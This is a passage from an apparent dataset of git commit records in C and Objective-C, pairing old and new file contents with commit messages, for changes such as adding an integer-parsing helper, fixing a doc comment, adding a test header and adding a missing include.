Profile.\n","lang":"C","license":"mit","repos":"joshua5201\/apitrace,apitrace\/apitrace,swq0553\/apitrace,tuanthng\/apitrace,apitrace\/apitrace,EoD\/apitrace,surround-io\/apitrace,joshua5201\/apitrace,surround-io\/apitrace,PeterLValve\/apitrace,surround-io\/apitrace,joshua5201\/apitrace,apitrace\/apitrace,trtt\/apitrace,EoD\/apitrace,EoD\/apitrace,trtt\/apitrace,surround-io\/apitrace,schulmar\/apitrace,EoD\/apitrace,schulmar\/apitrace,PeterLValve\/apitrace,PeterLValve\/apitrace,trtt\/apitrace,swq0553\/apitrace,swq0553\/apitrace,tuanthng\/apitrace,swq0553\/apitrace,swq0553\/apitrace,EoD\/apitrace,trtt\/apitrace,schulmar\/apitrace,trtt\/apitrace,tuanthng\/apitrace,schulmar\/apitrace,tuanthng\/apitrace,apitrace\/apitrace,schulmar\/apitrace,joshua5201\/apitrace,surround-io\/apitrace,tuanthng\/apitrace,joshua5201\/apitrace,PeterLValve\/apitrace"}
{"commit":"6054ffdeccfc50bfe49f83c60b8a2a7fb35ee10d","old_file":"control.c","new_file":"control.c","old_contents":"#include \"hardware\/packet.h\"\n#include \"serial.h\"\n\nvoid btoa(int num, char *buf, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    char digit[2];\n\n    while (current > 0) {\n        sprintf(digit, \"%d\", ((num & current) >> shift) & 1);\n        strncat(buf, digit, 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    strcat(buf, \"\\0\");\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ 0: device\n    \/\/ 1: group\n    \/\/ 2: plug\n    \/\/ 3: status\n\n    char device[] = \"\\\\\\\\.\\\\\\\\COM5\";\n\n    if (serial_connect(device) == SERIAL_ERROR) {\n        printf(\"Failed to connect to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    struct Packet packet = { 1, 0, 3 };\n\n    if (serial_transmit(packet) == SERIAL_ERROR) {\n        printf(\"Failed to send data to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    serial_close();\n\n    return 0;\n}\n\n","new_contents":"#include \"hardware\/packet.h\"\n#include \"serial.h\"\n\nvoid btoa(int num, char *buf, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    char digit[2];\n\n    while (current > 0) {\n        sprintf(digit, \"%d\", ((num & current) >> shift) & 1);\n        strncat(buf, digit, 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    strcat(buf, \"\\0\");\n}\n\nint getvalue(char *text, char *name, int min, int max) {\n    char *end;\n\n    long result = strtol(text, &end, 10);\n\n    if (*end != '\\0' || result < min || result > max) {\n        fprintf(stderr, \"Invalid value for %s.\\n\", name);\n        return -1;\n    }\n\n    return result;\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ 0: device\n    \/\/ 1: group\n    \/\/ 2: plug\n    \/\/ 3: status\n\n    char device[] = \"\\\\\\\\.\\\\\\\\COM5\";\n\n    if (serial_connect(device) == SERIAL_ERROR) {\n        printf(\"Failed to connect to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    struct Packet packet = { 1, 0, 3 };\n\n    if (serial_transmit(packet) == SERIAL_ERROR) {\n        printf(\"Failed to send data to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    serial_close();\n\n    return 0;\n}\n\n","subject":"Add function to convert a string to an integer","message":"Add function to convert a string to an integer\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"6f791eabab8ee5bfa1567e87cb9dd851e6d99c71","old_file":"include\/ola\/math\/Random.h","new_file":"include\/ola\/math\/Random.h","old_contents":"\/*\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * Random.h\n * A simple random number generator.\n * Copyright (C) 2012 Simon Newton\n *\/\n\n#ifndef INCLUDE_OLA_MATH_RANDOM_H_\n#define INCLUDE_OLA_MATH_RANDOM_H_\n\nnamespace ola {\nnamespace math {\n\n\/**\n * @brief Seed the random number generator\n *\/\nvoid InitRandom();\n\n\/**\n * @brief Return a random number between lower and upper, inclusive. i.e.\n * [lower, upper]\n * @param lower the lower bound of the range the random number should be within\n * @return the random number\n *\/\nint Random(int lower, int upper);\n}  \/\/ namespace math\n}  \/\/ namespace ola\n#endif  \/\/ INCLUDE_OLA_MATH_RANDOM_H_\n","new_contents":"\/*\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * Random.h\n * A simple random number generator.\n * Copyright (C) 2012 Simon Newton\n *\/\n\n#ifndef INCLUDE_OLA_MATH_RANDOM_H_\n#define INCLUDE_OLA_MATH_RANDOM_H_\n\nnamespace ola {\nnamespace math {\n\n\/**\n * @brief Seed the random number generator\n *\/\nvoid InitRandom();\n\n\/**\n * @brief Return a random number between lower and upper, inclusive. i.e.\n * [lower, upper]\n * @param lower the lower bound of the range the random number should be within\n * @param upper the upper bound of the range the random number should be within\n * @return the random number\n *\/\nint Random(int lower, int upper);\n}  \/\/ namespace math\n}  \/\/ namespace ola\n#endif  \/\/ INCLUDE_OLA_MATH_RANDOM_H_\n","subject":"Fix the deliberate error, Travis should go green now","message":"Fix the deliberate error, Travis should go green now\n","lang":"C","license":"lgpl-2.1","repos":"nightrune\/ola,nightrune\/ola,ld3300\/ola,nightrune\/ola,ld3300\/ola,ld3300\/ola,ld3300\/ola,nightrune\/ola,nightrune\/ola,ld3300\/ola,nightrune\/ola,ld3300\/ola,nightrune\/ola,ld3300\/ola"}
{"commit":"a356bd07150e558e19cead5eaa9d11e78b7842cb","old_file":"test\/ClangModules\/Inputs\/resolve-cross-language\/BaseUser.framework\/Headers\/BaseUser.h","new_file":"test\/ClangModules\/Inputs\/resolve-cross-language\/BaseUser.framework\/Headers\/BaseUser.h","old_contents":"@import Base;\n@import ObjectiveC;\n\nBaseClass *getBaseClassObjC();\nvoid useBaseClassObjC(BaseClass *);\n\n@interface UserClass : NSObject <BaseProto>\n@end\n\nid <BaseProto> getBaseProtoObjC();\nvoid useBaseProtoObjC(id <BaseProto>);\n\n","new_contents":"@import Base;\n@import ObjectiveC;\n\nBaseClass *getBaseClassObjC();\nvoid useBaseClassObjC(BaseClass *);\n\n@interface UserClass : NSObject <BaseProto>\n@end\n\nid <BaseProto> getBaseProtoObjC();\nvoid useBaseProtoObjC(id <BaseProto>);\n\n\n@interface BaseClass (ObjCExtensions)\n- (void)categoryMethod;\n@end\n\n","subject":"Add a test for ObjC categories on Swift classes.","message":"[ClangImporter] Add a test for ObjC categories on Swift classes.\n\n...that get unified by the importer.\n\nSwift SVN r15083\n","lang":"C","license":"apache-2.0","repos":"ken0nek\/swift,JGiola\/swift,deyton\/swift,austinzheng\/swift,bitjammer\/swift,stephentyrone\/swift,airspeedswift\/swift,bitjammer\/swift,JGiola\/swift,glessard\/swift,therealbnut\/swift,ahoppen\/swift,mightydeveloper\/swift,allevato\/swift,sdulal\/swift,ben-ng\/swift,codestergit\/swift,mightydeveloper\/swift,calebd\/swift,nathawes\/swift,hughbe\/swift,MukeshKumarS\/Swift,natecook1000\/swift,frootloops\/swift,uasys\/swift,brentdax\/swift,gottesmm\/swift,swiftix\/swift.old,calebd\/swift,calebd\/swift,SwiftAndroid\/swift,ben-ng\/swift,tinysun212\/swift-windows,swiftix\/swift.old,ahoppen\/swift,alblue\/swift,benlangmuir\/swift,IngmarStein\/swift,CodaFi\/swift,emilstahl\/swift,djwbrown\/swift,cbrentharris\/swift,adrfer\/swift,JGiola\/swift,OscarSwanros\/swift,swiftix\/swift.old,ken0nek\/swift,atrick\/swift,austinzheng\/swift,sschiau\/swift,russbishop\/swift,aschwaighofer\/swift,swiftix\/swift,parkera\/swift,cbrentharris\/swift,xedin\/swift,karwa\/swift,kentya6\/swift,KrishMunot\/swift,xedin\/swift,codestergit\/swift,LeoShimonaka\/swift,uasys\/swift,return\/swift,deyton\/swift,benlangmuir\/swift,austinzheng\/swift,adrfer\/swift,swiftix\/swift.old,adrfer\/swift,danielmartin\/swift,glessard\/swift,bitjammer\/swift,ken0nek\/swift,rudkx\/swift,parkera\/swift,uasys\/swift,huonw\/swift,kentya6\/swift,johnno1962d\/swift,airspeedswift\/swift,nathawes\/swift,tinysun212\/swift-windows,huonw\/swift,tkremenek\/swift,swiftix\/swift,danielmartin\/swift,jopamer\/swift,alblue\/swift,sdulal\/swift,alblue\/swift,brentdax\/swift,kusl\/swift,jopamer\/swift,return\/swift,MukeshKumarS\/Swift,cbrentharris\/swift,cbrentharris\/swift,jtbandes\/swift,shahmishal\/swift,sschiau\/swift,kperryua\/swift,milseman\/swift,xwu\/swift,JaSpa\/swift,Jnosh\/swift,tkremenek\/swift,parkera\/swift,manavgabhawala\/swift,tjw\/swift,practicalswift\/swift,brentdax\/swift,khizkhiz\/swift,frootloops\/swift,kperryua\/swift,jtbandes\/swift,lorentey\/swift,ben-ng\/swift,Jnosh\/swift,rudkx\/swift,bitjammer\/swift,kusl\/swift,tjw\/swift,deyton\/swift,hughbe\/swift,Ivacker\/swift,alblue\/swift,stephentyrone\/swift,JaSpa\/swift,emilstahl\/swift,modocache\/swift,return\/swift,kperryua\/swift,brentdax\/swift,brentdax\/swift,allevato\/swift,hooman\/swift,emilstahl\/swift,huonw\/swift,kstaring\/swift,hughbe\/swift,therealbnut\/swift,harlanhaskins\/swift,JaSpa\/swift,nathawes\/swift,jmgc\/swift,kperryua\/swift,stephentyrone\/swift,aschwaighofer\/swift,ben-ng\/swift,airspeedswift\/swift,deyton\/swift,MukeshKumarS\/Swift,alblue\/swift,shahmishal\/swift,tkremenek\/swift,dduan\/swift,LeoShimonaka\/swift,therealbnut\/swift,tardieu\/swift,MukeshKumarS\/Swift,milseman\/swift,MukeshKumarS\/Swift,jtbandes\/swift,johnno1962d\/swift,kstaring\/swift,apple\/swift,apple\/swift,allevato\/swift,kusl\/swift,JGiola\/swift,shajrawi\/swift,danielmartin\/swift,slavapestov\/swift,hooman\/swift,kusl\/swift,rudkx\/swift,dreamsxin\/swift,cbrentharris\/swift,return\/swift,IngmarStein\/swift,khizkhiz\/swift,kusl\/swift,swiftix\/swift.old,gottesmm\/swift,felix91gr\/swift,therealbnut\/swift,gregomni\/swift,kusl\/swift,SwiftAndroid\/swift,karwa\/swift,OscarSwanros\/swift,kusl\/swift,austinzheng\/swift,Ivacker\/swift,amraboelela\/swift,tardieu\/swift,ben-ng\/swift,arvedviehweger\/swift,shahmishal\/swift,natecook1000\/swift,gregomni\/swift,swiftix\/swift.old,gribozavr\/swift,LeoShimonaka\/swift,jmgc\/swift,arvedviehweger\/swift,aschwaighofer\/swift,karwa\/swift,JaSpa\/swift,gribozavr\/swift,jmgc\/swift,zisko\/swift,deyton\/swift,practicalswift\/swift,ahoppen\/swift,jmgc\/swift,benlangmuir\/swift,sschiau\/swift,sschiau\/swift,allevato\/swift,CodaFi\/swift,xwu\/swift,mightydeveloper\/swift,natecook1000\/swift,LeoShimonaka\/swift,tardieu\/swift,uasys\/swift,kentya6\/swift,CodaFi\/swift,karwa\/swift,jtbandes\/swift,shajrawi\/swift,harlanhaskins\/swift,Jnosh\/swift,jckarter\/swift,aschwaighofer\/swift,benlangmuir\/swift,hooman\/swift,swiftix\/swift.old,jopamer\/swift,harlanhaskins\/swift,tkremenek\/swift,kstaring\/swift,harlanhaskins\/swift,tkremenek\/swift,roambotics\/swift,dduan\/swift,adrfer\/swift,roambotics\/swift,felix91gr\/swift,milseman\/swift,swiftix\/swift,CodaFi\/swift,manavgabhawala\/swift,felix91gr\/swift,jopamer\/swift,jckarter\/swift,russbishop\/swift,djwbrown\/swift,tjw\/swift,dduan\/swift,swiftix\/swift,apple\/swift,johnno1962d\/swift,ben-ng\/swift,OscarSwanros\/swift,parkera\/swift,kentya6\/swift,frootloops\/swift,KrishMunot\/swift,glessard\/swift,jckarter\/swift,aschwaighofer\/swift,swiftix\/swift,KrishMunot\/swift,kstaring\/swift,kperryua\/swift,devincoughlin\/swift,tardieu\/swift,cbrentharris\/swift,frootloops\/swift,roambotics\/swift,emilstahl\/swift,dduan\/swift,karwa\/swift,aschwaighofer\/swift,zisko\/swift,danielmartin\/swift,lorentey\/swift,OscarSwanros\/swift,adrfer\/swift,OscarSwanros\/swift,nathawes\/swift,IngmarStein\/swift,shahmishal\/swift,johnno1962d\/swift,xedin\/swift,bitjammer\/swift,roambotics\/swift,stephentyrone\/swift,shajrawi\/swift,russbishop\/swift,gmilos\/swift,practicalswift\/swift,LeoShimonaka\/swift,apple\/swift,karwa\/swift,SwiftAndroid\/swift,sdulal\/swift,karwa\/swift,glessard\/swift,SwiftAndroid\/swift,JaSpa\/swift,ken0nek\/swift,parkera\/swift,airspeedswift\/swift,practicalswift\/swift,jopamer\/swift,dduan\/swift,practicalswift\/swift,huonw\/swift,modocache\/swift,austinzheng\/swift,swiftix\/swift,manavgabhawala\/swift,uasys\/swift,slavapestov\/swift,xwu\/swift,djwbrown\/swift,johnno1962d\/swift,MukeshKumarS\/Swift,cbrentharris\/swift,gottesmm\/swift,IngmarStein\/swift,lorentey\/swift,devincoughlin\/swift,khizkhiz\/swift,parkera\/swift,therealbnut\/swift,modocache\/swift,gmilos\/swift,gribozavr\/swift,ben-ng\/swift,kstaring\/swift,gottesmm\/swift,shajrawi\/swift,shahmishal\/swift,Jnosh\/swift,IngmarStein\/swift,jckarter\/swift,shajrawi\/swift,sdulal\/swift,devincoughlin\/swift,parkera\/swift,jtbandes\/swift,slavapestov\/swift,codestergit\/swift,mightydeveloper\/swift,gregomni\/swift,natecook1000\/swift,allevato\/swift,stephentyrone\/swift,bitjammer\/swift,jckarter\/swift,gregomni\/swift,shajrawi\/swift,JaSpa\/swift,sschiau\/swift,emilstahl\/swift,dduan\/swift,natecook1000\/swift,airspeedswift\/swift,sschiau\/swift,lorentey\/swift,zisko\/swift,hooman\/swift,sdulal\/swift,nathawes\/swift,tardieu\/swift,tinysun212\/swift-windows,LeoShimonaka\/swift,jmgc\/swift,djwbrown\/swift,hooman\/swift,milseman\/swift,jckarter\/swift,ahoppen\/swift,atrick\/swift,harlanhaskins\/swift,russbishop\/swift,sdulal\/swift,amraboelela\/swift,Ivacker\/swift,shajrawi\/swift,brentdax\/swift,tardieu\/swift,glessard\/swift,benlangmuir\/swift,modocache\/swift,xedin\/swift,allevato\/swift,modocache\/swift,tinysun212\/swift-windows,return\/swift,tkremenek\/swift,amraboelela\/swift,shajrawi\/swift,khizkhiz\/swift,jmgc\/swift,apple\/swift,huonw\/swift,devincoughlin\/swift,nathawes\/swift,frootloops\/swift,tardieu\/swift,devincoughlin\/swift,johnno1962d\/swift,ken0nek\/swift,ahoppen\/swift,lorentey\/swift,atrick\/swift,danielmartin\/swift,deyton\/swift,return\/swift,arvedviehweger\/swift,calebd\/swift,practicalswift\/swift,calebd\/swift,emilstahl\/swift,cbrentharris\/swift,gottesmm\/swift,russbishop\/swift,mightydeveloper\/swift,huonw\/swift,adrfer\/swift,calebd\/swift,devincoughlin\/swift,slavapestov\/swift,xwu\/swift,kentya6\/swift,kperryua\/swift,russbishop\/swift,LeoShimonaka\/swift,Ivacker\/swift,devincoughlin\/swift,amraboelela\/swift,kusl\/swift,JGiola\/swift,xedin\/swift,felix91gr\/swift,codestergit\/swift,hughbe\/swift,xedin\/swift,felix91gr\/swift,gmilos\/swift,khizkhiz\/swift,huonw\/swift,deyton\/swift,shahmishal\/swift,codestergit\/swift,Ivacker\/swift,LeoShimonaka\/swift,natecook1000\/swift,gribozavr\/swift,djwbrown\/swift,KrishMunot\/swift,parkera\/swift,Ivacker\/swift,khizkhiz\/swift,tjw\/swift,glessard\/swift,mightydeveloper\/swift,apple\/swift,KrishMunot\/swift,sdulal\/swift,tinysun212\/swift-windows,devincoughlin\/swift,gmilos\/swift,danielmartin\/swift,stephentyrone\/swift,kstaring\/swift,therealbnut\/swift,alblue\/swift,tjw\/swift,JGiola\/swift,dduan\/swift,arvedviehweger\/swift,modocache\/swift,slavapestov\/swift,zisko\/swift,kentya6\/swift,gmilos\/swift,manavgabhawala\/swift,uasys\/swift,Jnosh\/swift,practicalswift\/swift,KrishMunot\/swift,xedin\/swift,milseman\/swift,brentdax\/swift,jtbandes\/swift,jtbandes\/swift,airspeedswift\/swift,swiftix\/swift.old,tjw\/swift,ken0nek\/swift,modocache\/swift,mightydeveloper\/swift,arvedviehweger\/swift,rudkx\/swift,Jnosh\/swift,airspeedswift\/swift,bitjammer\/swift,xwu\/swift,atrick\/swift,aschwaighofer\/swift,djwbrown\/swift,karwa\/swift,gribozavr\/swift,JaSpa\/swift,rudkx\/swift,nathawes\/swift,sschiau\/swift,shahmishal\/swift,gmilos\/swift,SwiftAndroid\/swift,IngmarStein\/swift,hughbe\/swift,frootloops\/swift,dreamsxin\/swift,stephentyrone\/swift,gregomni\/swift,tjw\/swift,harlanhaskins\/swift,felix91gr\/swift,amraboelela\/swift,gottesmm\/swift,johnno1962d\/swift,ahoppen\/swift,kentya6\/swift,russbishop\/swift,frootloops\/swift,hooman\/swift,tkremenek\/swift,SwiftAndroid\/swift,danielmartin\/swift,swiftix\/swift,amraboelela\/swift,jopamer\/swift,arvedviehweger\/swift,zisko\/swift,harlanhaskins\/swift,jckarter\/swift,kperryua\/swift,emilstahl\/swift,roambotics\/swift,natecook1000\/swift,atrick\/swift,practicalswift\/swift,slavapestov\/swift,ken0nek\/swift,amraboelela\/swift,return\/swift,alblue\/swift,xedin\/swift,zisko\/swift,gribozavr\/swift,hooman\/swift,CodaFi\/swift,jmgc\/swift,Jnosh\/swift,austinzheng\/swift,slavapestov\/swift,arvedviehweger\/swift,Ivacker\/swift,SwiftAndroid\/swift,OscarSwanros\/swift,hughbe\/swift,mightydeveloper\/swift,roambotics\/swift,gmilos\/swift,felix91gr\/swift,uasys\/swift,zisko\/swift,kstaring\/swift,IngmarStein\/swift,CodaFi\/swift,allevato\/swift,gregomni\/swift,MukeshKumarS\/Swift,hughbe\/swift,khizkhiz\/swift,manavgabhawala\/swift,manavgabhawala\/swift,sdulal\/swift,adrfer\/swift,codestergit\/swift,shahmishal\/swift,atrick\/swift,OscarSwanros\/swift,calebd\/swift,KrishMunot\/swift,gribozavr\/swift,milseman\/swift,emilstahl\/swift,lorentey\/swift,lorentey\/swift,tinysun212\/swift-windows,sschiau\/swift,kentya6\/swift,xwu\/swift,benlangmuir\/swift,therealbnut\/swift,jopamer\/swift,CodaFi\/swift,rudkx\/swift,manavgabhawala\/swift,gottesmm\/swift,tinysun212\/swift-windows,xwu\/swift,Ivacker\/swift,austinzheng\/swift,lorentey\/swift,gribozavr\/swift,codestergit\/swift,djwbrown\/swift,milseman\/swift"}
{"commit":"15b9e2c5ff7ba51288932b095f3f9949104143d6","old_file":"src\/interfaces\/ecpg\/pgtypeslib\/common.c","new_file":"src\/interfaces\/ecpg\/pgtypeslib\/common.c","old_contents":"#include <errno.h>\n\n#include \"extern.h\"\n\t\nchar *\npgtypes_alloc(long size)\n{\n\tchar *new = (char *) calloc(1L, size);\n\n\tif (!new)\n\t{\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\n\tmemset(new, '\\0', size);\n\treturn (new);\n}\n\nchar *\npgtypes_strdup(char *str)\n{\n\tchar *new = (char *) strdup(str);\n\n\tif (!new)\n\t\terrno = ENOMEM;\n\treturn (new);\n}\n\n","new_contents":"#include <errno.h>\n#include <stdlib.h>\n\n#include \"extern.h\"\n\t\nchar *\npgtypes_alloc(long size)\n{\n\tchar *new = (char *) calloc(1L, size);\n\n\tif (!new)\n\t{\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\n\tmemset(new, '\\0', size);\n\treturn (new);\n}\n\nchar *\npgtypes_strdup(char *str)\n{\n\tchar *new = (char *) strdup(str);\n\n\tif (!new)\n\t\terrno = ENOMEM;\n\treturn (new);\n}\n\n","subject":"Add <stdlib> to add calloc() prototype.","message":"Add <stdlib> to add calloc() prototype.\n","lang":"C","license":"apache-2.0","repos":"kaknikhil\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,chrishajas\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,edespino\/gpdb,zaksoup\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,50wu\/gpdb,ovr\/postgres-xl,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,zaksoup\/gpdb,oberstet\/postgres-xl,adam8157\/gpdb,atris\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,rubikloud\/gpdb,postmind-net\/postgres-xl,techdragon\/Postgres-XL,jmcatamney\/gpdb,xuegang\/gpdb,tpostgres-projects\/tPostgres,zaksoup\/gpdb,xuegang\/gpdb,xinzweb\/gpdb,xuegang\/gpdb,lintzc\/gpdb,lintzc\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,50wu\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,ahachete\/gpdb,oberstet\/postgres-xl,greenplum-db\/gpdb,atris\/gpdb,xuegang\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,rvs\/gpdb,ovr\/postgres-xl,tpostgres-projects\/tPostgres,snaga\/postgres-xl,ovr\/postgres-xl,kaknikhil\/gpdb,yazun\/postgres-xl,jmcatamney\/gpdb,edespino\/gpdb,zeroae\/postgres-xl,snaga\/postgres-xl,CraigHarris\/gpdb,lintzc\/gpdb,rvs\/gpdb,techdragon\/Postgres-XL,ahachete\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,royc1\/gpdb,oberstet\/postgres-xl,edespino\/gpdb,pavanvd\/postgres-xl,0x0FFF\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,janebeckman\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,xuegang\/gpdb,ovr\/postgres-xl,tpostgres-projects\/tPostgres,CraigHarris\/gpdb,rubikloud\/gpdb,rvs\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,postmind-net\/postgres-xl,rubikloud\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,foyzur\/gpdb,xinzweb\/gpdb,rvs\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,atris\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,ahachete\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,royc1\/gpdb,Quikling\/gpdb,royc1\/gpdb,janebeckman\/gpdb,chrishajas\/gpdb,50wu\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,50wu\/gpdb,janebeckman\/gpdb,arcivanov\/postgres-xl,yuanzhao\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,kmjungersen\/PostgresXL,kmjungersen\/PostgresXL,Quikling\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,0x0FFF\/gpdb,50wu\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,xinzweb\/gpdb,pavanvd\/postgres-xl,Quikling\/gpdb,chrishajas\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,edespino\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,zeroae\/postgres-xl,royc1\/gpdb,lpetrov-pivotal\/gpdb,adam8157\/gpdb,royc1\/gpdb,chrishajas\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,Quikling\/gpdb,xuegang\/gpdb,rubikloud\/gpdb,rvs\/gpdb,lintzc\/gpdb,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,foyzur\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,techdragon\/Postgres-XL,postmind-net\/postgres-xl,ahachete\/gpdb,rvs\/gpdb,zaksoup\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,atris\/gpdb,atris\/gpdb,ashwinstar\/gpdb,atris\/gpdb,snaga\/postgres-xl,adam8157\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,50wu\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,kmjungersen\/PostgresXL,Chibin\/gpdb,kaknikhil\/gpdb,foyzur\/gpdb,ahachete\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,CraigHarris\/gpdb,xinzweb\/gpdb,kmjungersen\/PostgresXL,lintzc\/gpdb,royc1\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,zaksoup\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,Quikling\/gpdb,rvs\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,CraigHarris\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,ovr\/postgres-xl,ashwinstar\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,kmjungersen\/PostgresXL,lintzc\/gpdb,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,oberstet\/postgres-xl,50wu\/gpdb,lpetrov-pivotal\/gpdb,greenplum-db\/gpdb,rubikloud\/gpdb,zeroae\/postgres-xl,rvs\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,xinzweb\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,xuegang\/gpdb,arcivanov\/postgres-xl,CraigHarris\/gpdb,Postgres-XL\/Postgres-XL,randomtask1155\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,lisakowen\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,ahachete\/gpdb,cjcjameson\/gpdb,postmind-net\/postgres-xl,atris\/gpdb,atris\/gpdb,Chibin\/gpdb,snaga\/postgres-xl,tpostgres-projects\/tPostgres,Chibin\/gpdb,pavanvd\/postgres-xl,foyzur\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb"}
{"commit":"97a660828160b390186d06e607eeb9d0c1af8bc1","old_file":"MBContactPicker\/MBContactModel.h","new_file":"MBContactPicker\/MBContactModel.h","old_contents":"\/\/\n\/\/  MBContactModel.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 12\/13\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol MBContactPickerModelProtocol <NSObject>\n\n@required\n\n@property (nonatomic, copy) NSString *contactTitle;\n\n@optional\n\n@property (nonatomic, copy) NSString *contactSubtitle;\n@property (nonatomic) UIImage *contactImage;\n\n@end\n\n@interface MBContactModel : NSObject <MBContactPickerModelProtocol>\n\n@property (nonatomic, copy) NSString *contactTitle;\n@property (nonatomic, copy) NSString *contactSubtitle;\n@property (nonatomic) UIImage *contactImage;\n\n@end\n","new_contents":"\/\/\n\/\/  MBContactModel.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 12\/13\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol 